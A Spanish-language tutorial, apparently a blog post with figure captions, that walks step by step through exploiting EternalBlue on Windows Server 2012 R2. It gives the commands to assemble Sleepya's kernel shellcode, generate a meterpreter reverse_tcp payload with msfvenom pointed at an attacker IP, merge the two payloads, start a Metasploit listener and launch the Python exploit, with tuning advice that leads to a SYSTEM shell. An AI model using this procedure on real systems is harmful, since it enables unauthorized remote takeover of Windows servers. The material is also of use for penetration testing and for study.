Figura 2: Módulo asm del exploit publicado por sleepya |
Paso 1: Ensamblar la Kernel Shellcode
Primero es necesario utilizar la kernel shellcode desarrollada por Sleepya. Como se puede observar, es un .asm que debemos ensamblar y para ello utilizaremos NASM con el siguiente comando: nasm -f bin kernel_shell_x64.asm
Figura 3: Compilación de la kernel shellcode desarrolladad por sleepya |
Paso 2: Generar la Userland Shellcode
Un payload de Metasploit generado con msfvenom será la userland shellcode que acompañará a la kernel shellcode ensamblada en el paso anterior. Los parámetros que utilizaremos en msfvenom serán los siguientes:
-p windows/x64/merterpreter/reverse_tcp
-f raw
-o meterpreter_msf.bin
EXITFUNC=thread
LHOST=[IP_ATACANTE]
LPORT=4444 (u otro puerto en la máquina atacante)
Figura 4: Generación de la Userland Shellcode con msfvenom |
Paso 3: Unir Kernel Shellcode + Userland Shellcode
Para tener un impacto exitoso, debemos pasar ambas shellcodes como parámetro al exploit. Para ello, las uniremos en un mismo archivo en formato .bin haciendo un simple “append” de una shellcode con la otra.
Figura 5: Uniendo ambas shellcodes |
Tras ejecutar el comando que vemos en la imagen superior, tendremos un nuevo archivo “meterpreter.bin” que contiene tanto la kernel shellcode ensamblada como la userland shellcode que generamos con msfvenom.
Paso 4: Configurar el listener de Metasploit
El paso previo al lanzamiento del exploit, es configurar el listener de Metasploit para que reciba la conexión inversa del meterperter una vez que el impacto sea exitoso. Para ello simplemente utilizaremos el módulo de exploit/multi/handler con el payload de meterpreter.
Figura 6: Configuración del listener de Metasploit |
Paso 8: Lanzamiento del exploit
Utilizaremos el exploit de Sleepya publicado en su GitHub. Está desarrollado en Python, por lo tanto, lo guardaremos en la máquina atacante con extensión .py.
Figura 7: Merge_shellcode de Sleepya |
Acto seguido, abriremos ese archivo .py con un editor de texto y nos dirigiremos a las líneas 42 y 43 donde debemos indicar la cuenta de usuario que el exploit utilizará para autenticación. La misma tendremos que haberla conseguido previamente o bien, podemos utilizar la cuenta de Guest si se encuentra activa en el sistema operativo objetivo.
Figura 8: Configuración de cuenta |
Guardamos y procedemos a ejecutar el exploit con los siguientes parámetros:
python exploit.py ip_target meterpreter.bin 200
El parámetro con valor “200” corresponde al “numGroomConn”. El ajustar la cantidad de conexiones “Groom” ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicación que deseamos y lograr ejecutar la shellcode correctamente.
Figura 9: Lanzamiento del exploit con 200 conexiones Groom |
Para esta userland shellcode utilizaremos un número de conexiones Groom de 200. Si al impactar no recibimos la conexión inversa, podemos probar incrementando este número de a 50. Inmediatamente recibiremos la sesión de meterpreter en la terminal de Metasploit.
>
Figura 10: Conexión Meterpreter conseguida con éxito |
Cabe destacar que nos encontramos en una sesión de SYSTEM, aunque hayamos utilizado para autenticarnos una cuenta Guest. En el siguiente vídeo tienes la ejecución de este exploit en acción.
Figura 11: PoC de Explotación de EternalBlue en Windows Server 2012 R2